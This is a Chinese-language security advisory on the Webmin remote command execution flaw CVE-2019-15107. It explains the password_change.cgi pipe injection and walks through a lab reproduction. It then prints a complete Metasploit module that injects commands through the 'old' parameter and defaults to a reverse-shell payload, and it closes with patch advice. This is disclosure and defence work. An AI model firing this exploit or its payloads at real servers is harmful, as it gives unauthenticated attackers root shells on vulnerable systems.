当前位置: 首页 > news >正文

cgi web 调用多次启动_漏洞预警|Web系统管理工具Webmin远程命令执行高危漏洞分析(CVE201915107)...

ab707ff722a2b9402fb50da952e6bb60.png

漏洞描述

近日,HSCERT监测发现Webmin1.92之前的版本存在一个远程命令执行漏洞(CVE-2019-15107),当用户开启Webmin密码重置功能后,攻击者利用该漏洞可在存在漏洞的系统中执行任意命令,进而获取系统Shell。

Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。目前Webmin支持绝大多数的Unix系统,这些系统除了各种版本的linux以外还包括:AIX、HPUX、Solaris、Unixware、Irix和FreeBSD等。

目前此应用在公网的设备量非常大:

ad02704c592a2efb24de7417434b5ad2.png

漏洞分析

webmin管理工具基本都支持密码更改功能,在Webmin文件中,有一个是password_change.cgi文件。

此文件中的参数只有一个要求,即miniserv.conf配置文件中的passwd_mode值设置为2。

$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";

1ef12aed04a16df41a542c77253b2941.png

password_change.cgi将旧密码发送到acl /acl-lib.pl中的encrypt_password函数,该函数会调用另一个函数unix_crypt。

c5874d7afbe426bca75f4359c41fd4b1.png

在另一块代码中,再次为验证旧密码调用相同的函数unix_crypt

5f24f33ae1a0311fdc501ade034bc155.png

可以在在验证旧密码的时候使用管道符"|"读取shadow文件,发送一个带有普通POST数据的请求,返回包会给出一个错误:无法更改密码,当前密码不正确。

文件password_change.cgi将检查服务器上old参数中的信息,它甚至都不会检查用户名是否正确。

3e60c1fe2fefdb61e33d180f345f6bb0.png

安装Webmin复现此漏洞

下载Webmin RPM包

wget http://prdownloads.sourceforge.net/webadmin/webmin-1.930-1.noarch.rpm

安装可选依赖项

yum -y install perl perl-Net-SSLeay openssl perl-IO-Tty perl-Encode-Detect

安装Webmin

rpm -U webmin-1.930-1.noarch.rpm

安装完成后,你可以使用https://localhost:10000本地登录或使用https://ip:10000访问,用户名和密码分别是root和root用户的密码。

设置语言为中文

登录Webmin后,依次点击Webmin->Webmin Configuration,右侧点击Language,下拉框选择Simplified Chinese(ZH_CN)即可。

发送post数据包后,服务器执行了ifconfig命令。

21ececc52270d026c956adb822b7c653.png

使用MSF加载脚本文件,可以达到对此漏洞的稳定利用

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Webmin 1.920 Unauthenticated RCE',
      'Description'    => %q(
        This module exploits an arbitrary command execution vulnerability in Webmin
        1.920 and prior versions. If the password change module is turned on, the unathenticated user
        can execute arbitrary commands with root privileges.
        /// This 0day has been published at DEFCON-AppSec Village. ///        
      ),
      'Author'         => [
        'AkkuS ' # Discovery & PoC & Metasploit module @ehakkus
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2019-'],
          ['URL', 'https://www.pentest.com.tr']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'DefaultOptions' =>
        {
          'RPORT' => 10000,
          'SSL'   => false,
          'PAYLOAD' => 'cmd/unix/reverse_python'
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Webmin <= 1.910', {}]],
      'DisclosureDate' => 'May 16 2019',
      'DefaultTarget'  => 0)
    )
    register_options [
        OptString.new('TARGETURI',  [true, 'Base path for Webmin application', '/'])
    ]
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end
  ##
  # Target and input verification
  ##
  def check
    # check passwd change priv
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path, "password_change.cgi"),
      'headers' =>
        {
          'Referer' => "#{peer}/session_login.cgi"
        },
      'cookie'  => "redirect=1; testing=1; sid=x; sessiontest=1"
    })

    if res && res.code == 200 && res.body =~ /Failed/
      res = send_request_cgi(
        {
        'method' => 'POST',
        'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
        'ctype'  => 'application/x-www-form-urlencoded',
        'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
        'headers' =>
          {
            'Referer' => "#{peer}/session_login.cgi"
          },
        'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"        
        })

      if res && res.code == 200 && res.body =~ /password_change.cgi/
        return CheckCode::Vulnerable
      else
        return CheckCode::Safe
      end
    else
      return CheckCode::Safe
    end
  end

  ##
  # Exploiting phase
  ##
  def exploit

    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end

    command = payload.encoded
    print_status("Attempting to execute the payload...")
    handler

    res = send_request_cgi(
      {
      'method' => 'POST',
      'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
      'ctype'  => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
      'headers' =>
        {
          'Referer' => "#{peer}/session_login.cgi"
        },
      'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"
      })

  end
end

利用效果如下:

232e12d64a61b07585df87fca8638fab.png

漏洞危害

高危

影响版本

Webmin <=1.920

安全建议

目前,Webmin官方已发布升级补丁,建议用户尽快升级,官方补丁链接如下:

http://www.webmin.com/

参考信息

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15107http://www.webmin.com/https://blog.firosolutions.com/exploits/webmin/

f8b64a2b2c040e22f90f5ffdd61ea27e.png

如需帮助请咨询 hscert@hillstonenet.com

相关文章:

  • flashplayer离线安装包 64位_离线安装NET Framework 3.5的一般方法
  • node 获取表单数据 为空_Python数据结构(二)单向循环链表
  • javascript案例大全_JavaScript 类型 — 重学 JavaScript
  • ajax如何提交多表单的值_Ajax完整详细教程(一)
  • 五金手册钢材理论重量计算小程序_33个造价实用小工具,工作效率提高80%,造价人的终极神器,手慢无...
  • 什么是常驻内存式的开发模式?_为什么 APP 纷纷开发“暗黑模式”?优酷最佳实践总结...
  • mysql blob类型_MySQL数据类型 字符串数据类型(1)
  • php 多层循环多数据_php程序内存优化之数组操作优化
  • python倒背如流_如何系统地自学 Python?
  • git desktop发布到gitee_MAC系统下利用gitee和Hexo建个人网站-各种坑各种填
  • python面试题与知识点_python技术面试题(一)
  • css覆盖规则_CSS元素选择器是怎样运作的?
  • bagging和时间序列预测_时间序列预测与指数平滑法
  • python领域驱动_浅谈“领域驱动设计”
  • http status 404 – 未找到_[SEO名词]网站404页面是什么?
  • [ JavaScript ] 数据结构与算法 —— 链表
  • 【Linux系统编程】快速查找errno错误码信息
  • AHK 中 = 和 == 等比较运算符的用法
  • axios请求、和返回数据拦截,统一请求报错提示_012
  • Flex布局到底解决了什么问题
  • Github访问慢解决办法
  • JavaScript 一些 DOM 的知识点
  • javascript面向对象之创建对象
  • Javascript设计模式学习之Observer(观察者)模式
  • k8s 面向应用开发者的基础命令
  • linux安装openssl、swoole等扩展的具体步骤
  • magento2项目上线注意事项
  • MySQL的数据类型
  • PHP变量
  • React Transition Group -- Transition 组件
  • react 代码优化(一) ——事件处理
  • SpringBoot几种定时任务的实现方式
  • SpringCloud集成分布式事务LCN (一)
  • ⭐ Unity 开发bug —— 打包后shader失效或者bug (我这里用Shader做两张图片的合并发现了问题)
  • 不用申请服务号就可以开发微信支付/支付宝/QQ钱包支付!附:直接可用的代码+demo...
  • 反思总结然后整装待发
  • 京东美团研发面经
  • 前端每日实战 2018 年 7 月份项目汇总(共 29 个项目)
  • 浅谈JavaScript的面向对象和它的封装、继承、多态
  • 驱动程序原理
  • 实现简单的正则表达式引擎
  • 通过npm或yarn自动生成vue组件
  • 通过来模仿稀土掘金个人页面的布局来学习使用CoordinatorLayout
  • 学习Vue.js的五个小例子
  • 应用生命周期终极 DevOps 工具包
  • LIGO、Virgo第三轮探测告捷,同时探测到一对黑洞合并产生的引力波事件 ...
  • mysql 慢查询分析工具:pt-query-digest 在mac 上的安装使用 ...
  • 仓管云——企业云erp功能有哪些?
  • (003)SlickEdit Unity的补全
  • (rabbitmq的高级特性)消息可靠性
  • (solr系列:一)使用tomcat部署solr服务
  • (初研) Sentence-embedding fine-tune notebook
  • (转)shell中括号的特殊用法 linux if多条件判断
  • (转)程序员技术练级攻略
  • ***通过什么方式***网吧